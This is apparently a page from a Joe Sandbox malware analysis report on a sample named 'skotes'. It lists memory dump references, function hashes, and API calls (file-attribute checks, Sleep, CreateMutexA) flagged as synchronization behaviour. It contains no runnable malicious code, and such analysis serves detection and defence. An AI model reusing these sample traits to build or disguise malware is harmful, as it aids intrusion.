Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: e45ce4d4f781cc3c4fb0be7922fadb08c07ac4b268cf100188ec9731c5642fe5
Instruction ID: 351e3770e0c7e1f14c3831ee8355b201f6bdf69f566be894fd6a5eafeb72b071
Opcode Fuzzy Hash: e45ce4d4f781cc3c4fb0be7922fadb08c07ac4b268cf100188ec9731c5642fe5
Instruction Fuzzy Hash: 43315B31720200DBEF18EB78DCC9B6DB7A2EB81314F244619E0A5A73D1C7769D918766

Function 00C3A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3A1B1
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 09fb58b7e8c01c3b5327a24db47b3d83980303925ffd91cfbca9a963b13682cb
Instruction ID: a03ac9606438b80a686873c68d27a02a1f66320e32f444bb5817a089f463a7c1
Opcode Fuzzy Hash: 09fb58b7e8c01c3b5327a24db47b3d83980303925ffd91cfbca9a963b13682cb
Instruction Fuzzy Hash: BB314831720240DFEF08AB7CDC89B6EB7A2AB86314F244619E094A73D1C7769D918762

Function 00C3A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3A2E6
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 28e7574acc73a5b97dff01e8e5a3eaa40a9d88b70b4c507c7f83d25fe5b24ea4
Instruction ID: 15d961b9caf52d996c9ca5893c0d93bd52856536ac6f0f3aed2977202bd050e3
Opcode Fuzzy Hash: 28e7574acc73a5b97dff01e8e5a3eaa40a9d88b70b4c507c7f83d25fe5b24ea4
Instruction Fuzzy Hash: 2B317B316202009BEF08AB7CDC88B6DB7B2EB82314F244618E095A77E1C7769D918722

Function 00C3A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3A41B
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 376ac742f932382564b6e98a33cc3a2abdece610936406303e8eef00774e16ce
Instruction ID: 146fc059f1d3903f276353acdaac225eb4984e15d96b3c0db41584974e2661d0
Opcode Fuzzy Hash: 376ac742f932382564b6e98a33cc3a2abdece610936406303e8eef00774e16ce
Instruction Fuzzy Hash: BA316A316202009BEF18AB7CDCC9B6DB7A2EFC1314F244618E094EB3D5D7B59D918762

Function 00C3A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3A550
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
